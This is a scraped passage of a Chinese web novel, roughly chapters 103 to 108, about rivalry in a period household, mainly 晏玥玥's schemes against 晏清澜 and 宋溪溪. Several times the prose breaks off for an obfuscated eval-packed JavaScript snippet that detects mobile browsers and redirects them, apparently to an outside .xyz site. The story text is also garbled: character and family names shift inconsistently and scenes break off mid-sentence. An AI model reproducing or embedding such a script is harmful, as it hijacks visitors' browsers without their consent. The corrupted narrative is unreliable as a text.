可晏玥玥却像是全然没有察觉到傅清霁的异样,还兀自沉浸在自己的思绪中。 她稍稍低着头,声音也低了下去,与其说是在对傅清霁说,倒不如说是在喃喃自语: “四姐姐身子弱,病了自然是要人陪着的。可陆伯……厉夫人和厉将军公务繁忙,定然抽不出太多时间陪她。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019304|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说到这,她偷偷抬眼看了一下傅清霁,话里带着试探: “若是四姐姐因此心里不痛快,还望厉夫人莫要怪她……” 晏玥玥心里盘算着,傅清霁和厉宗玉,多半是没那么多耐心去哄晏清澜的。 她在苏府时,时常听下人们议论朝中之事,知道那些个大官,整日里忙得团团转。 便是她爹爹晏明远,也时常不在府里。有时候她想见爹爹一面,都得等上好几天。 有一次,她不过是多说了几句想爹爹的话,就被娘亲训斥了一顿,说她不懂事,不该给爹爹添乱。 亲娘尚且如此,更别说是陆府的一对将军夫妇? 若不是她晏玥玥“心善”,顾念着与晏清澜的那点子姐妹情分,才懒得在傅清霁面前替晏清澜说这些好话呢! 傅清霁冷眼瞧着晏玥玥,脸上的笑容渐渐淡去,语气也变得冷硬: “这便不劳晏六姑娘操心了。” 她顿了顿,话里带上了一丝嘲讽: “我们陆家再忙,也不至于连阿清生病这等大事都顾不上。” “何况……”傅清霁微微眯起眼睛,一字一句地说,“阿清的性子,我最是了解。她可不是你口中那般,动不动就使小性子的人。” 晏玥玥口中的那个人,八成是她自己吧。 真是可笑! 竟敢跑到她这个正经婆母面前,来说她小姑子的不是? 她的小姑子,是这世上顶顶温柔善良的姑娘,性子软糯,又乖巧懂事,简直就是个暖心小宝贝。 她从不会无缘无故地发脾气。 就算真有人惹了她不高兴,她也只会笑眯眯地,用最温柔的语气,让人滚得越远越好。 她的阿清,是天底下最最可爱的小姑娘。 傅清霁心里想着,本想再说些什么,可转念一想,又觉得没那个必要。和这种人,多说无益。 她缓缓站起身,居高临下地看着晏玥玥,语气淡淡地吩咐: “晏六姑娘且先在此处歇息片刻,用些茶点。我还有些话,要与明澜、溪溪说,不便带你同去。” 说完,她唤来自己的贴身丫鬟翠环,让她好生伺候着晏玥玥。 在转身离开的瞬间,傅清霁却不着痕迹地朝翠环递了个眼色。 第一百零三章 翠环心领神会,微微点了点头,眼底闪过一丝了然。 这一切,自然瞒不过傅清霁的眼睛。 而晏玥玥,却还浑然不觉,只当傅清霁是去找宋溪溪算账去了。 毕竟,从小到大,宋溪溪就一直看她不顺眼。 如今,宋溪溪又与晏清澜同仇敌忾,处处与她作对。 傅清霁这个做母亲的,自然要好好教训教训宋溪溪! 宋溪溪以为自己是将军府的嫡女,便可以这般肆无忌惮、目中无人吗? 身份尊贵,便能随意欺负人吗? 即便她将宋溪溪误认成晏清澜,是有不对的地方。 可若不是宋溪溪平日里行事粗鄙,全无半点闺阁女子的模样,她又怎会认错? 说到底,还是宋溪溪自己不争气,好的不学,偏偏学那些个下九流的做派! 傅清霁不仅要狠狠地责罚宋溪溪,还要让她好好学学规矩! 她晏玥玥来韩府做客,便是客人。 宋溪溪不尽地主之谊也就罢了,竟然还敢对她出言不逊! 简直是不可理喻! 至于宋明澜…… 晏玥玥不动声色地抿了抿唇,眼中闪过一丝志在必得。 她相信,只要宋明澜看清了晏清澜的“真面目”,迟早会喜欢上自己。 她可是苏府最得宠的小女儿,人见人爱,花见花开。 就连一向冷面的二哥,都对她宠爱有加。 宋明澜,也一定会将她视若珍宝,像疼爱亲妹妹那般,护着她,宠着她。宋溪溪若是知道晏玥玥那点小心思,怕是白眼都要翻到天上去了。 “晏玥玥她也太把自己当回事了,”宋溪溪心里暗自吐槽,嘴上已经忍不住开始“输出”,“我哥又不是眼瞎!” 不过眼下,宋溪溪可没心思跟晏玥玥打嘴仗。 她正忙着呢。 只见她一手紧紧攥着晏清澜的手腕,像是生怕她被人抢了去,另一只手高举着明晃晃的长剑,剑尖直指晏子晏。 整个人活像一只护崽的老母鸡,就差没扑棱着翅膀把晏子晏给啄出去了。 “你想干嘛?”宋溪溪瞪圆了杏眼,气势汹汹,“离我家阿清姐姐远点!” “你们庄家,除了晏老夫人和晏大小姐,就没一个好人!” 最后一句,杀伤力极大,覆盖范围极广。 晏子晏的脸色瞬间黑如锅底。 方才宋溪溪骂晏玥玥,他还觉得挺有意思。 甚至,他还幸灾乐祸地笑了。 可这会儿,这小辣椒一样的火力对准了自己,晏子晏是彻底笑不出来了。 他也是有自知之明,知道自己那点三脚猫功夫不值一提。 晏子晏偷偷瞄了一眼旁边那位。 宋明澜,将军府的嫡子,也是出了名的护妹狂魔。 此刻正气定神闲地站在一旁,完全没有要阻止自家妹妹的意思。 晏子晏心里更虚了,凉气从脚底板直窜脑门。 他还真怕宋溪溪一个激动,手起剑落,自己这条小命就得交代在这儿了。 晏子晏惜命得很。 他默默地、悄悄地,往后挪了两步,跟那闪着寒光的剑尖拉开了一点距离。 “阿清……” 晏子晏唤了一声,声音很轻,带着几分不易察觉的颤抖。 他没有像往常一样,从袖袋里掏出什么东西。 他只是缓缓地抬起手,掌心里,静静地躺着一枚小巧的玉坠。 那玉坠通体碧绿,水头极好,一看便知价值不菲。 玉坠被雕琢成了一只憨态可掬的小猫,猫儿的眼睛,是用两颗极小的红宝石镶嵌而成,在阳光下熠熠生辉。 晏子晏将玉坠往前递了递,目光却始终落在晏清澜的脸上,不曾移开半分。 “这个,送给你。” 他的声音很轻,很柔,像是怕惊扰了什么。 “我知道,你喜欢猫儿。” 晏清澜的发髻很简单,只簪了一根玉簪,确实显得有些素净。 但晏子晏知道,她不是没有别的首饰。 只是她不喜欢太过繁复的装饰。 晏子晏看着晏清澜乌黑的发,心里涌起一阵莫名的情绪,像是愧疚,又像是……心疼。 “以前,是我不好。” 他顿了顿,声音更低了。 “我不该……不该那样对你。” “以后,我会好好补偿你。我会……尽力做一个好哥哥。” “这个玉坠,是我亲手做的,花了我好几个月的时间。”他补充道,语气中带着一丝不易察觉的骄傲。 庄家确实不差钱,但晏子晏从前,确实也总是挥霍无度,没有存下多少银子。 这次,他没有动用自己的私房钱,而是选择亲手制作礼物,这份心意,已是难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019305|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得。 但他没有直接解释原因,只是说这是亲手做的。 晏清澜没有立刻接过来,只是静静地看着他。 宋明澜也看着晏子晏,眼神中带着几分审视。 他倒是没想到,晏子晏居然会亲手做东西送给晏清澜。 这倒是……有点出乎他的意料。 不过,宋明澜也没有说什么。 他知道,晏清澜有自己的判断。 宋溪溪看着那枚玉坠,却是忍不住撇了撇嘴。 她才不信晏子晏会这么好心! “谁知道你是不是又在打什么坏主意?”宋溪溪毫不客气地怼了回去。 “以前你可没少欺负阿清姐姐!” 她瞪着晏子晏,目光锐利,像是要把他看穿。 “我可记得清清楚楚,你以前是怎么对阿清姐姐的!” “你骂她是‘丧门星’,‘扫把精’,还说她‘活着浪费粮食,**浪费土地’!” 宋溪溪一口气说了一大串,越说越气,小脸涨得通红。 她可没忘记,从前晏子晏是怎么变着法儿地欺负晏清澜的。 那些难听的话,宋溪溪现在想起来都觉得心疼。 “现在你突然送东西给她,谁知道你安的什么心?” 宋溪溪冷哼一声,毫不掩饰自己的怀疑和警惕。 “反常之事定有蹊跷!你肯定没安好心!” 她上下打量着晏子晏,眼神像是X光一样,要把他从里到外都扫描一遍。 也难怪宋溪溪会这样想。 庄家人以前,尤其是晏子晏,留给她的印象实在是太恶劣了。 从前,晏子晏恨不得把晏清澜踩进泥里,恨不得她立刻从这个世界上消失。 在宋溪溪心里,晏子晏就是一个彻头彻尾的坏蛋,比那些话本里的反派还要可恶! 宋溪溪气鼓鼓地瞪着晏子晏,眼神中充满了戒备。 “我告诉你,你别想耍什么花招!” “阿清姐姐现在有我们护着,你休想再欺负她!” 她说着,又晃了晃手里的剑,剑尖闪着寒光,威胁意味十足。 “还有,别以为送个小玩意儿就能收买人心!” 宋溪溪不屑地撇了撇嘴。 “我可见多了那些虚情假意的男人!” “他们刚开始的时候,也是各种甜言蜜语,各种送礼物。 第一百零四章 ” “可一旦得到了自己想要的,就立刻翻脸不认人!” 她冷笑一声,一副“我早就看穿了一切”的表情。 “你以为阿清姐姐是那些没见过世面的小姑娘吗?会被你这点小伎俩给骗了?” “我告诉你,没门!” “阿清姐姐才不稀罕你这些破烂玩意儿!” 晏子晏被宋溪溪这一通连珠炮似的话给怼得哑口无言。 他张了张嘴,想要解释,却又不知道该说什么。 他脸上的表情,一阵青一阵白,看起来很是难堪。 他心里,也有些委屈。 他这次,是真的想对晏清澜好。 可宋溪溪的话,却像是一盆冷水,狠狠地浇在了他的头上,让他从头凉到脚。 “阿清……” 他看向晏清澜,眼神中带着一丝受伤,又带着一丝期待。 他希望晏清澜能相信他,哪怕只有一点点也好。 晏子晏看着晏清澜,眼巴巴地,像一只被遗弃的小狗。 他心里很清楚,过去是他对不起阿清。 他希望,能有机会弥补。 然而,回应他的,是晏清澜的沉默。 良久,她才缓缓开口,声音很轻,很淡,像是一阵风,吹过就散了。 “谢谢你的好意。” “不过,我真的不需要。” 晏清澜微微侧过头,看向晏子晏,唇边带着一抹浅浅的笑。 那笑容很淡,很疏离,客气得像是在对待一个陌生人。 她并没有因为宋溪溪的话而对晏子晏恶语相向。 她只是平静地,表达了自己的拒绝。 微风拂过,吹起她鬓边的几缕发丝,也吹散了她眼底的最后一丝波澜。 “我过得很好,真的。” 她又重复了一遍,语气坚定,不容置疑。 晏清澜没有去看那枚玉坠,也没有伸手去接。 她只是抬起手,轻轻抚了抚自己鬓边的头发,然后,将那根一直簪在发间的玉簪,缓缓地拔了下来。 玉簪离开发髻的那一刻,乌黑的发丝,如瀑布般倾泻而下,在阳光下闪着柔和的光泽。 晏清澜将玉簪举到眼前,仔细地端详着。 那是一根极品羊脂玉簪,质地温润细腻,雕工精湛,一看便知价值不菲。 “你看,”她轻声说,“我真的不缺什么。” “我有的,远比你想象的要多得多。” 她说着,转头看向身旁的宋明澜。 少年依旧是一身白袍,剑眉星目,身姿挺拔。 他站在那里,就像是一棵青松,给人一种可靠而安心的感觉。 晏清澜的唇角微微上扬,露出了一个温柔的笑容。 那笑容,像是春日里的阳光,温暖而明媚。 “这根簪子,是我大哥送我的。” “还有很多很多,都是他,溪溪,还有伯父伯母送的。” 她的声音很轻,却带着一种难以言喻的幸福感。 “所以,你真的不用担心我。”“这支也不比晏玥玥头上那支差,是溪溪送的。” 晏清澜浅笑着,纤细的手指轻轻一捻,将一支精致的百合簪缓缓从发间抽出。阳光洒在簪身上,折射出温润的光泽。 她眼波流转,先是带着些许狡黠地瞥了宋溪溪一眼,仿佛在炫耀这份情谊,复又将目光定格在晏子晏身上,眼神清亮而坚定。 “如今我啥都不差,”她轻轻摇头,语气平和,却不容置疑,“你拿回去吧。” 说完,她指尖轻动,将两支簪子珍而重之地重新簪回发间,每一个动作都透着毫不掩饰的喜爱。 晏子晏怔怔地望着她发间交相辉映的两支簪子,一时间竟有些失神。 他清楚地知道,晏清澜并非嫌弃他送的簪子不够好。 她是在用这种无声的方式告诉他,她现在过得很好,不再需要苏府的任何东西,他的任何弥补都已经失去了意义。 因为对她而言,不需要,也没必要。 晏子晏嘴唇翕动了几下,最终还是缓缓垂下眼帘,掩去眸中翻涌的苦涩,默默将簪子收回袖中,指尖却因为紧握着簪子而微微泛白。 一旁的宋明澜和宋溪溪将他的落寞尽收眼底,交换了一个意味深长的眼神。 两人都选择了沉默,只是静静地看着,并不打算出言安慰。 事到如今,还能有什么用呢? 在她最渴望亲情温暖的时候,这些所谓的家人,没有一个出现。 如今的弥补,不过是自我感动罢了。 这时,傅清霁缓步走来,她似乎并未察觉到这凝滞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那一刻,三人之间,仿佛形成了一种无言的默契,一种坚不可摧的羁绊,足以抵御任何风雨。 之后,无论晏玥玥如何费尽心机,或明示或暗示,试图挑起事端,都无需晏清澜亲自开口。 第一百零五章 宋溪溪和宋明澜总能默契配合,或巧妙转移话题,或直接出言反击,将那些话头一一挡回,言辞犀利,毫不留情。 到最后,晏玥玥几乎是硬生生憋着一肚子的闷气和委屈,悻悻离开的。 苏府那辆豪华马车里。 晏玥玥再也控制不住自己的情绪,眼泪夺眶而出,她紧紧咬着下唇,声音哽咽,带着浓浓的委屈与不甘,质问晏子晏: “四哥,你方才为何眼睁睁看着我被她们欺负?一句话也不说?” 她抬起头,泪眼朦胧地看着晏子晏,眼中满是受伤和愤怒,声音也变得尖锐起来: “你不是说最疼我吗?现在倒好,竟然帮着外人来欺负我!你分明就是偏心!” 然而,晏子晏却仿佛完全没有听到她的控诉,只是怔怔地盯着那支未能送出的蝴蝶簪,神情恍惚。 他沉浸在自己的思绪中,完全没有注意到晏玥玥的哭诉,更没有察觉到她的愤怒。 晏玥玥见他竟然完全不理会自己,心中的委屈和愤怒再也压抑不住。 “四哥!”她猛地拔高了声音,带着哭腔,用力推了晏子晏一把,“你有没有在听我说话!” 晏子晏猝不及防,整个人猛地向一旁倒去。 他下意识地伸手护住头部,才没有磕到车厢壁。 但他的胳膊却重重地撞在了坚硬的车厢壁上,一阵剧痛瞬间传遍全身,他闷哼一声,脸色瞬间变得苍白。 那支精致的蝴蝶簪,也从他手中滑落,“啪嗒”一声掉在车厢地板上,发出清脆的声响。 这声音,如同尖锐的针,刺痛了晏玥玥的眼。 晏玥玥的目光瞬间被那支簪子吸引。 她猛地抬头,完全不顾晏子晏的疼痛,颤抖着手指着那支摔落在地的蝴蝶簪,厉声质问: “这是什么?你倒是说啊!这到底是谁的?!” 她死死地盯着晏子晏,眼中燃烧着熊熊的妒火。 这簪子,一定是给那个狐狸精准备的! 他变了,变得不再只疼爱她一个人! 从前,他的眼里只有她,所有的好东西都只给她一个人。 可现在,他竟然背着她,给别的女人买簪子! 这种背叛,她绝不能容忍! 晏子晏只觉得胳膊一阵阵发麻,像是被千万只蚂蚁啃噬一般,骨头缝里都透着难以忍受的疼痛。 他皱着眉,缓缓抬起头,看向晏玥玥。 以往,他或许还会耐着性子哄她,解释几句。 但此刻,他却感到一阵莫名的疲惫和厌倦。 他看着晏玥玥那张因为愤怒和嫉妒而扭曲的脸,心中涌起一股难以言喻的失望。 他缓缓开口,声音低沉而沙哑,每一个字都像是从喉咙深处挤出来的一般: “玥玥,你闹够了没有?” 他顿了顿,看着晏玥玥,目光中带着几分审视,几分失望,还有几分难以置信: “你今日过来,究竟是为了什么?当真只是为了看阿清过得好不好?还是说,你是故意来找茬的?” 他深吸一口气,语气中带着几分无奈: “你明知道阿清和陆家的关系,还故意说那些话,你到底安的什么心?” 晏子晏看着眼前这个既熟悉又陌生的妹妹,心中五味杂陈。 他突然意识到,自己或许从未真正了解过她。 从前的晏玥玥,天真烂漫,娇俏可爱,是他的掌上明珠。 可如今的晏玥玥,却变得如此陌生,如此不可理喻。 她的眼中充满了嫉妒和怨恨,再也没有了往日的纯真。 晏子晏突然觉得,自己似乎做错了什么。 他一直以为,自己是在保护她,疼爱她。 可现在看来,他所谓的保护和疼爱,或许只是在纵容她的任性和自私,让她变得越来越不可理喻。“四哥……” 晏玥玥的声音细不可闻,像一片羽毛轻轻拂过水面,激起一丝几不可察的涟漪。 那声音里,藏着一丝慌乱,被捕捉到。 晏子晏缓缓转身,目光如炬,仿佛要穿透层层迷雾,直抵人心。 他轻轻叹息,嘴角勾起一抹难以言喻的弧度,那笑,复杂难辨。 “玥玥,”他的声音很轻,却像一把生了锈的锯子,来回拉扯着紧绷的神经,“你想要的,太多了。” “有些东西,”晏子晏微微一顿,目光扫过她紧攥的帕子,那帕子边缘,已经被她揉得发皱,“是你的,谁也夺不走。但有些,注定不属于你,再怎么费尽心思,也是徒劳。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可晏子晏却看得明白,她不是赌气,她是真这么想。 第一百零六章 晏子晏眼底的失望,再也掩饰不住。他看着晏玥玥,声音里带着几分难以置信的嘲弄: “玥玥,你觉得顾帅对你有意思?你怕是白日梦还没做醒吧?” 他实在不知该如何说她。 傅清霁不过是碍着她是客,才没把厌烦摆在明面上。 可她的一言一行,哪个不是在敲打他们? 他听着都觉得脸上发烫,晏玥玥竟还觉得傅清霁喜欢她? 这自信,当真是…… 晏玥玥被他说得恼羞成怒,狠狠瞪着他,眼底的怒火熊熊燃烧。 “你们一个个都欺负我!如今连你也帮着外人!”她声音哽咽,带着哭腔,“只有厉夫人护着我了……” “若不是顾着四姐姐的颜面,她怎会对我那般客气?” 她深吸一口气,强迫自己冷静下来。 从小到大,爹娘都说,人见人爱花见花开。 在汴京,她是那个最特别的存在。 旁的女子,或为家族牺牲,或依附男子。 唯有她,是被捧在掌心的明珠。 苏府里,事事以她为先,连哥哥们都得让着她。 哥哥们也疼她,从不与她争抢。 她就是这汴京最得天独厚的姑娘,谁都比不了。 晏清澜?她算什么? 陆家人现在护着晏清澜,不过是一时新鲜。 等他们发现自己的好,早晚会把晏清澜忘得一干二净。 晏玥玥一遍遍地在心里告诉自己,她才是最好的,她才是最该被疼爱的。 可晏子晏,却无情地撕开了她的幻想。 他挑眉,似笑非笑地看着她: “玥玥,你觉得顾帅对你有意思,是因为她拦着宋溪溪,不让她继续说那些难听的话。” “可你有没有想过,”晏子晏顿了顿,眼神犀利,“她为何偏偏要等宋溪溪把话说尽了,才出声阻止?” 如果傅清霁真喜欢晏玥玥,一开始就不会让宋溪溪开口。 她分明是记着苏府对晏清澜不住,才由着宋溪溪发泄。 说到底,不过是做戏罢了。 一句话,如同一盆冷水,兜头浇下,晏玥玥脸色瞬间惨白。 她死死咬着唇,指甲掐进肉里,却感觉不到疼。 她不愿承认,晏子晏说的是真的。 她猛地转身,背对着晏子晏,那背影,写满了倔强。 “四哥不必拿这些话来羞辱我!”她声音发颤,“你若真疼四姐姐,大可搬出去和她一起住!” 晏玥玥深吸一口气,努力平复着翻涌的情绪。 她想起晏清澜看她时那冰冷的眼神,恨不得扑上去,撕烂那张脸。 “你也别得意!”她声音尖锐,“她如今是攀上了陆家,可那又如何?她根本不把你放在眼里!” 为了巴结陆府,晏清澜巴不得离苏府远远的。 这种趋炎附势的人,得意不了多久。 她等着,等着看晏清澜从云端跌落的那一天! 晏玥玥这话说得,已经全然不似平日里那个乖巧的模样。 晏子晏却像是早有预料,脸上没有半分惊讶。 他冷眼瞥了她一下,便闭上眼,揉着发胀的太阳穴。 这时,马车停了。 晏子晏撩开车帘,已是苏府门前。 他一脸冷漠地下车,没理会晏玥玥,径直朝前走去。 他站在苏府门前,却感受不到一丝家的温暖,只觉得浑身冰凉,像是寒冬腊月里站在冰天雪地。 他累到眼皮直打架,身后,是晏玥玥压抑不住的哭声和怨怼。 他没有回头,大步离去。 “四哥!” 身后,晏玥玥的哭喊声一声高过一声,却始终没能让他停下。 晏玥玥眼睁睁看着他的背影消失,气得浑身发抖,泪如泉涌。 她跌跌撞撞地朝钱雅芝的院子跑去,脚步踉跄。 跑到一半,却堪堪在院子外头刹住了脚。 只见她飞快地整理了一下头发和衣裳,又用力吸了吸鼻子,拿帕子胡乱擦了擦脸。 直到确认仪容整洁,看不出哭过的痕迹,才小心翼翼地迈进了院子。 只是刚跨进门槛,她像是突然想起什么似的,猛地顿住脚步。 晏玥玥眼珠子转了转,四下张望,确定没人。 她咬紧牙关,像是下了极大的决心,抬手,狠狠抽了自己一巴掌。 清脆的响声在寂静的院子里格外刺耳,她却像是感觉不到疼似的,又反手给了自己一巴掌。 两巴掌下去,她白皙的脸上立刻浮现出两个鲜红的掌印,火辣辣的疼。 可她却像是松了口气似的,快步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱雅芝看着女儿这副模样,更是气得浑身发抖,牙齿咬得咯咯作响。 平日里,玥玥是她的心头肉,掌中宝。她连高声说话都舍不得,就怕吓坏了她。 第一百零七章 可如今,她的宝贝女儿竟被人打了耳光! 这简直比剜她的心还让她难受! 一股暴虐的杀意在钱雅芝心底疯狂滋长,几乎要将她的理智吞噬殆尽。恨不能立刻冲到陆家,将人撕碎了才好。 她努力平复着翻涌的情绪,控制住声线, “玥玥,你只管告诉娘,到底是谁这么大胆子,敢动我的女儿?” 钱雅芝轻轻拍着晏玥玥的后背,像是在安抚一只受惊的小猫, “你这是去陆家蹭饭啊,既然不是晏清澜动的手,难不成……是宋溪溪?” 说到“宋溪溪”三个字时,钱雅芝的声音里带上了一丝不易察觉的颤抖。 这一次,晏玥玥没有开口,只是低垂着头,默默地啜泣着。 但那微微颤动的肩膀,以及轻轻颔首的动作,无一不在表明,钱雅芝的猜测,是正确的。 “宋溪溪……好一个宋溪溪!” 钱雅芝猛地攥紧了拳头,指节因为用力而泛白,发出“咔咔”的声响, “登门是客,她竟敢如此嚣张跋扈,简直欺人太甚!” “晏子晏和晏清澜呢?他们两个是**吗?!” 钱雅芝的声音陡然拔高,带着压抑不住的怒火, “自己妹妹被人欺负,他们怂得连个响都不敢出!我养他们有什么用,还不如养条狗!” 晏玥玥原本还只是小声地抽泣着,听到钱雅芝提起晏子晏和晏清澜,哭声陡然放大,简直是上气不接下气,仿佛下一秒就要背过气去。 她猛地抬起头,泪眼朦胧地看向钱雅芝,眼尾泛着一抹凄楚的红, “娘,您别怪四哥哥和四姐姐……陆家大小姐毕竟是客人,我总不能跟她起冲突……” “再说……小时候那些玩闹,谁也没当真……” 晏玥玥一边说着,一边伸手去拽钱雅芝的袖子,指尖微微颤抖, “只是女儿不明白,陆大小姐为何要替四姐姐出气……那一巴掌,女儿躲闪不及……” 她越说越委屈,眼泪像断了线的珠子般滚落下来,看起来好不可怜。 “娘,四姐姐她……她是不是还在怨恨女儿?” 晏玥玥的声音哽咽,带着浓浓的鼻音, “女儿今日去陆家,原本是想劝四姐姐回家的……可谁知,陆大小姐不分青红皂白,上来就给了女儿两巴掌,四姐姐她……她就在一旁,什么也没说……” 她再也承受不住这巨大的委屈,猛地捂住脸,失声痛哭起来, “从前是我不好,是我对不住四姐姐,她心里有气也是应该的……可是,可是女儿真的很难过……” “只要四姐姐能消气,女儿……女儿受点委屈,不算什么……” 钱雅芝看着哭得撕心裂肺的晏玥玥,只觉得心口疼得厉害。 她恨不得立刻冲到陆家,将晏清澜那个小****万段! 可看着眼前哭得梨花带雨的女儿,钱雅芝又感到一阵深深的无力。 她怎么能不心疼呢? 这个从小被她捧在手心里呵护长大的女儿,竟然被人欺负成这副模样! 钱雅芝猛地站起身来,眼神中透着一股怒意。 “宋溪溪和晏清澜那两个小**,我一个都不会放过!” 钱雅芝咬牙切齿, “不过眼下,我得先去问问你那个‘好四哥’!” “你们一同去陆家,他怎能眼睁睁看着你受辱!简直是没用!” 钱雅芝气得浑身发抖,她怎么也想不到,自己的儿子竟然如此懦弱无能! 眼睁睁看着妹妹被人欺负,却连站出来说句话的勇气都没有! “娘,别去……” 晏玥玥却突然死死抱住钱雅芝的胳膊,苦苦哀求, “四哥哥他……他定然有自己的苦衷。您别去责怪他……” 她抬起头,泪眼婆娑地看着钱雅芝,声音里充满了哀求, “女儿知道,四哥哥心里向着四姐姐……您若是现在去找他,他铁定会死不认账……” 晏玥玥顿了顿,像是想起了什么,眼神闪烁了一下, “女儿听说……四哥哥和陆大小姐,似乎有些……私交。若是您为了女儿的事去找四哥哥,他夹在中间,定然为难……” 她一边说着,一边剧烈地咳嗽起来,仿佛要把肺都咳出来一般,整个人摇摇欲坠。 她紧紧地抓着钱雅芝的衣袖,指尖因为用力而泛白, “娘,女儿不想让四哥哥为难……女儿真的不想……” 钱雅芝看着哭得快要背过气的女儿,心疼得无以复加。 “玥玥,你这又是何苦呢?”钱雅芝叹了口气,轻轻抚着晏玥玥的背,“你四哥的性子,你还不知道吗?他若是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“只是,宋溪溪那边,你也要做好心理准备。 第一百零八章 娘不会让她好过的。” 钱雅芝的眼中闪过一道寒光,语气也变得阴冷起来。 她要让所有欺负过玥玥的人,都付出惨痛的代价!钱雅芝眼底深处,飞快掠过一丝阴鸷。 她告诉自己,这并非针对一个小姑娘。 可当“宋溪溪”三个字与“厉宗玉”、“傅清霁”这两个名字联系在一起,一切就变得复杂起来。 难道她钱雅芝的女儿,就活该被一个武将的女儿压一头? 绝不可能! 宋溪溪这块绊脚石,必须挪开! 更何况……钱雅芝死死攥紧了手中的帕子,力道大得指节都泛了白。宋溪溪居然敢因为晏清澜那个扫把星,伤了她的玥玥! 这笔账,新仇旧恨,她迟早要跟宋溪溪算个清楚! 至于宋溪溪的下场?钱雅芝嘴角勾起一抹冷笑。 “陆家大小姐……与我无关。”晏玥玥紧紧抓着钱雅芝的袖口,声音细若蚊蝇,却隐隐透着一股委屈。 她低垂着头,浓密的睫毛遮掩下的眼眸中,翻滚着浓稠如墨的阴云,仿佛暴风雨来临前的预兆。 晏玥玥贝齿紧咬下唇,指甲深深嵌入掌心,几乎要掐出血来。 她也不愿变成这般模样。 可这一切,难道不是宋溪溪挑起的吗? 那两巴掌,与其说是算计,不如说是反击。 宋溪溪挥剑要杀她的时候,可曾想过心慈手软? 直到此刻,晏玥玥仍能清晰地回忆起那盆花被剑气击碎的瞬间,冰冷黏腻的泥土和碎片飞溅到她裙摆上的触感,那种感觉……恶心至极。 那一刻,恐惧与羞愤交织,如同两只无形的手,死死掐住她的喉咙,让她几乎窒息。 她不是宋溪溪的对手。 但是,她娘可以替她出头。 晏玥玥闭了闭眼,纤长的睫毛微微颤动,竭力平复着内心翻涌的情绪。 她知道,娘是最疼爱她的,绝不会让她白白受了这委屈。 就算娘要为她出气,也不会做得太过分。 无非是……让人稍稍教训宋溪溪一番。 这样,宋溪溪也不会有太大的损失。 这并非歹毒,更不是颠倒黑白。 晏玥玥深吸一口气,努力让自己的声音听起来平静一些。 宋溪溪欺辱她,这是不争的事实。 她不过是……以其人之道还治其人之身。 仅此而已。 钱雅芝感受到女儿的轻颤,心疼更甚。 她轻轻拍了拍晏玥玥的手,柔声安抚。 她就知道,她的玥玥最是善良。 可正因如此,她才更不能让宋溪溪好过! 人善被人欺,马善被人骑。 从前,她就是太娇惯玥玥了,才让宋溪溪这等货色,也敢骑到玥玥头上! 安抚好晏玥玥,钱雅芝转身离去,步履匆匆,甚至有些不稳,可见其内心的焦灼。 暖阁内,光线有些昏暗。 晏老夫人斜倚在软榻上,闭目养神。 一旁的红木圈椅上,晏芸清正襟危坐,手捧一卷经书,脊背挺得笔直,周身透着一股子世家贵女的端庄娴静。 可这幅画面,落在钱雅芝眼中,却如芒刺在背,让她浑身不自在。 偏偏这又是无可挑剔的仪态,让她挑不出半点错处。 晏芸清抬眸,看到钱雅芝,脸上神色未变。 她微微欠身,向钱雅芝行了一礼,轻唤一声“娘”,声音极轻,似是怕惊扰了晏老夫人。 再无多话。 钱雅芝只觉胸口发闷,淡淡扫了晏芸清一眼,目光冷漠。 还是晏老夫人,缓缓睁开了眼。 她看向钱雅芝,并未动怒,只是轻轻转动着手中的佛珠, “你来了。” 语气平淡,听不出喜怒。 这态度让钱雅芝心中不快。 可碍于对方是长辈,她只得强压下心头的不悦,勉强挤出一丝笑意, “母亲,前些日子您和芸芸不是去看过四丫头了吗?怎的没把人接回来?” 